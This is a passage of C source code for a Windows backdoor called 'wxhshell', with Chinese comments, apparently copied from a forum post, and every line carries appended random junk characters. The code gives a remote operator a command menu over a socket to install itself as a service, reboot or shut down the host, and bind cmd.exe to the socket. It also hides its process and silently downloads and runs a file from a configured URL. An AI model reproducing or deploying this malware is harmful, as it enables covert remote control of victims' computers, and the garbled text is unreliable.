  case '?': { .ot[_*A.FD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m*\XH DB  
    break; y*5$B.u`.  
  } jrm L>0NZ  
  // 安装 \j~LxV  
  case 'i': { I#GsEhi  
    if(Install()) \++#adN:K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KL+,[M@ F  
    else i`vgD<}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  nCSXvd/  
    break; R\>=}7  
    } .6y(ox|LL  
  // 卸载 x#TWZ;  
  case 'r': { m| k:wuzqK  
    if(Uninstall()) :t6.J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /r mm@  
    else \I~9%QJ>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TDjjaO  
    break; vV /fTO  
    } `yWWX.`  
  // 显示 wxhshell 所在路径 ^*+-0b;[G  
  case 'p': { .="[In '  
    char svExeFile[MAX_PATH]; YLe$Vv735  
    strcpy(svExeFile,"\n\r"); Mf.:y  
      strcat(svExeFile,ExeFile); .[hbiv#  
        send(wsh,svExeFile,strlen(svExeFile),0); e(;nhU3a*,  
    break; t?cO>4*|  
    } x\!Uk!fM  
  // 重启 7s'r3}B`  
  case 'b': { uY*|bD`6&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cT,5xp"a  
    if(Boot(REBOOT)) Odj4)   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o_DZ  
    else { "T'?Ah6  
    closesocket(wsh); 'X1fb:8m8  
    ExitThread(0); @Z%I g  
    } I\oI"\}U  
    break; % .n 7+  
    } F/zbb  
  // 关机 F` gQ[  
  case 'd': { $XO#qOW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -~ 5|_G2Y"  
    if(Boot(SHUTDOWN)) WMXk-?v4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <-m?l6  
    else { uZ7~E._  
    closesocket(wsh); >XiTl;UU  
    ExitThread(0); SSG}'W!z  
    } OBJk\j+Wi  
    break; 4?F7%^vr  
    } y |E {]  
  // 获取shell fxL0"Ry  
  case 's': { ~LuR)T=%es  
    CmdShell(wsh); KgMW  
    closesocket(wsh); 4Js9"<w  
    ExitThread(0); jM  DG  
    break; wa}\bNKQk  
  } om'DaG`A  
  // 退出 +:fr(s!OE  
  case 'x': { rezH5d6z62  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); = ;"$t_t  
    CloseIt(wsh); #{u>  
    break; @x z?^20N  
    } y vz2eAXa  
  // 离开 FD*w4U5  
  case 'q': { , ,=7deR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8C!D=Vhh  
    closesocket(wsh); -Y"'=zkO  
    WSACleanup(); @(_M\>!%M  
    exit(1); fooQqWC)  
    break; Q-LDFnOFwp  
        } muqIh!nn  
  } =7WE   
  } (`pd>  
-8r9DS -/W  
  // 提示信息 ]rP'\a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eTp}*'$p  
} dJ0qg_ U&  
  } MVpk/S%W  
b#<@&0KE  
  return; zxt&oT0Q  
} |2eF~tJqc  
Ie%twc  
// shell模块句柄 "L p"o  
int CmdShell(SOCKET sock) =Nj58l  
{ 8+7=yN(  
STARTUPINFO si; fm%1vM$[J  
ZeroMemory(&si,sizeof(si)); Cyw cJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u LXV,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kTLA["<m  
PROCESS_INFORMATION ProcessInfo; !z.C}n5F  
char cmdline[]="cmd"; }4n?k'_s?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d\{#*{_A  
  return 0; @94_'i7\  
} >v DD.  
'<YVDB&-d,  
// 自身启动模式 _(<D*V[  
int StartFromService(void) 1li1&  
{ !Y3 *\  
typedef struct K{)YnY_E;  
{ E"P5rT  
  DWORD ExitStatus; 0bQm:J[(#  
  DWORD PebBaseAddress; 75pz' Cb  
  DWORD AffinityMask; m8|&z{  
  DWORD BasePriority; H' [#x2  
  ULONG UniqueProcessId; +|w-1&-  
  ULONG InheritedFromUniqueProcessId; Z=vzF0  
}   PROCESS_BASIC_INFORMATION; jBvZ>H+w~  
*qLOr6  
PROCNTQSIP NtQueryInformationProcess; ){.J`X5r  
IiV#V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (HUGgX"=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;-koMD!2F  
;S FmbZ%~  
  HANDLE             hProcess; lilKYrUmG  
  PROCESS_BASIC_INFORMATION pbi; fJ?$Z|  
2@(Qd3N(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f;(]P  
  if(NULL == hInst ) return 0; AF qut  
> qSaF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8\~IwtSk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r"MKkS EM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :W/,V^x}  
Wkk=x&  
  if (!NtQueryInformationProcess) return 0; hkO)q|1  
+C{ %pF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [akyCb  
  if(!hProcess) return 0; Y(D@B|"'m  
q?=eD^]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h%Nbx:vKk  
7b2N'^z}  
  CloseHandle(hProcess); %0PZZl5b  
Hset(-=X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H:ar&o#(  
if(hProcess==NULL) return 0; GA{Q6]B  
J!@$lyH  
HMODULE hMod; 6c3+q+#J2  
char procName[255]; ZcXqH7`r  
unsigned long cbNeeded; U~SOHfZ%(  
=%:mZ@x'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }@pe `AF^  
mySm:ToT  
  CloseHandle(hProcess); 1f 0"z1   
VxOrrs7Z  
if(strstr(procName,"services")) return 1; // 以服务启动 9^m&  [Z  
4:=eO!6  
  return 0; // 注册表启动 `nO!_3  
} S? }@2[  
RN?z)9!  
// 主模块 iz`u@QKc%  
int StartWxhshell(LPSTR lpCmdLine) a; Ihv#q  
{ 89B1\ff  
  SOCKET wsl; `'u|4pRFs  
BOOL val=TRUE; :B=p%C  
  int port=0; '\:?FQ C  
  struct sockaddr_in door; /hue]ZaQq  
*R*Tmo"  
  if(wscfg.ws_autoins) Install(); Ah_'.r1<P9  
<!\J([NM8  
port=atoi(lpCmdLine); Riq5Au?*)  
I3xx}^V  
if(port<=0) port=wscfg.ws_port; :8;8-c  
a#=GLB_P(  
  WSADATA data; f8E S GU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uOEFb  
;APpgt4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   46'EZ@#s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ed|7E_v  
  door.sin_family = AF_INET; /q %TjQ}F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .E_`*[ 5=  
  door.sin_port = htons(port); K \}xb2s  
?K7m:Dx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '}c0:,5  
closesocket(wsl); t_YiF%}s&#  
return 1; 31|Vb  
} I\sCH  
(r,RwWYm  
  if(listen(wsl,2) == INVALID_SOCKET) { #jV6w=I  
closesocket(wsl); Mi\f?  
return 1; S8" h9|  
} EX8:B.z`57  
  Wxhshell(wsl); J#CF SG  
  WSACleanup(); wX7B&w8wV  
au8bEw&W  
return 0; -t % .I=|  
Dj>.)n  
} H BmjB=  
AKM\1H3U  
// 以NT服务方式启动 &adKKYN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hHoc7  
{ #]I:}Q51  
DWORD   status = 0; B$Jn|J"/6  
  DWORD   specificError = 0xfffffff; 9VIsLk54^  
;W#G<M&n'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x>5#@SX J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hu x#v>e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8T 6jM+ h  
  serviceStatus.dwWin32ExitCode     = 0; 3}$L4U  
  serviceStatus.dwServiceSpecificExitCode = 0; #hzs,tvvD  
  serviceStatus.dwCheckPoint       = 0; XH)MBr@Fz  
  serviceStatus.dwWaitHint       = 0; iD@2_m)  
Ssaf RK$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <acAc2  
  if (hServiceStatusHandle==0) return; <4*7HY[  
hGF:D#jyT  
status = GetLastError(); Cs%'Af  
  if (status!=NO_ERROR) [kz<2P  
{ 1S\q\kz->D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yq[C?N &N  
    serviceStatus.dwCheckPoint       = 0; 9n!3yZVSe  
    serviceStatus.dwWaitHint       = 0; TA}gCXE e  
    serviceStatus.dwWin32ExitCode     = status; Q=~e|  
    serviceStatus.dwServiceSpecificExitCode = specificError; sBF>a|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bQ0m=BzF  
    return; \rADwZm  
  } ~z>2`^Z"  
RsVba!x@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =g/K>B  
  serviceStatus.dwCheckPoint       = 0; GS$OrUA  
  serviceStatus.dwWaitHint       = 0; XXmtpM8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &e_M \D  
} (q*T.   
)R{4"&&2  
// 处理NT服务事件,比如:启动、停止 0_qqBL.4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4jis\W}%L3  
{ if:2sS9r  
switch(fdwControl) i/oaKpPN  
{ S! ,.#e(Y  
case SERVICE_CONTROL_STOP: ]=q?= %H  
  serviceStatus.dwWin32ExitCode = 0; L !yl^c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RIl%p~  
  serviceStatus.dwCheckPoint   = 0; )e9(&y*o  
  serviceStatus.dwWaitHint     = 0; VILzx+v M  
  { (sO;etW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YG?W8)T  
  } 5H==m~  
  return; 8Z/P<u  
case SERVICE_CONTROL_PAUSE: 4<Bj;1*4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; athU  
  break; qN+ngk,:  
case SERVICE_CONTROL_CONTINUE: 33[2$FBf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wvJm)Mj+  
  break; O,9KhX+  
case SERVICE_CONTROL_INTERROGATE: b V;R}3)  
  break; O>|Q Zd  
}; Q?7U iTZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SMqJMirR  
} .0.Ha}{6b  
gGe `w  
// 标准应用程序主函数 F7#   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x1$fkNu  
{ aQ]C`9k  
gjvKrg  
// 获取操作系统版本 vlm&)DIt  
OsIsNt=GetOsVer(); "-A@>*g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RjSVa.x  
#<4h Y7/  
  // 从命令行安装 h3>/..l  
  if(strpbrk(lpCmdLine,"iI")) Install(); fX#Em'Ab[  
`EBo(^n}O  
  // 下载执行文件 =|pQA~UU#  
if(wscfg.ws_downexe) { io$AGi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \ tF><  
  WinExec(wscfg.ws_filenam,SW_HIDE); rMfp%DMA  
} Mh[;E'C6  
LJfd{R1y+  
if(!OsIsNt) { !4]w b!F  
// 如果时win9x,隐藏进程并且设置为注册表启动  yYp!s  
HideProc(); =4m?RPb~b  
StartWxhshell(lpCmdLine); JQi)6A?J  
} RBwI*~%g{  
else k1_f7_m  
  if(StartFromService()) 2^Q)~sSf9  
  // 以服务方式启动 DP &,jU6  
  StartServiceCtrlDispatcher(DispatchTable); FuLP{]Y+AM  
else  9'\18_w  
  // 普通方式启动 :)cPc7$8  
  StartWxhshell(lpCmdLine); wC`])z}bT  
~H7m7  
return 0; x<~ pqq8]  
}
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只看该作者 1 发表于: 2006-10-10
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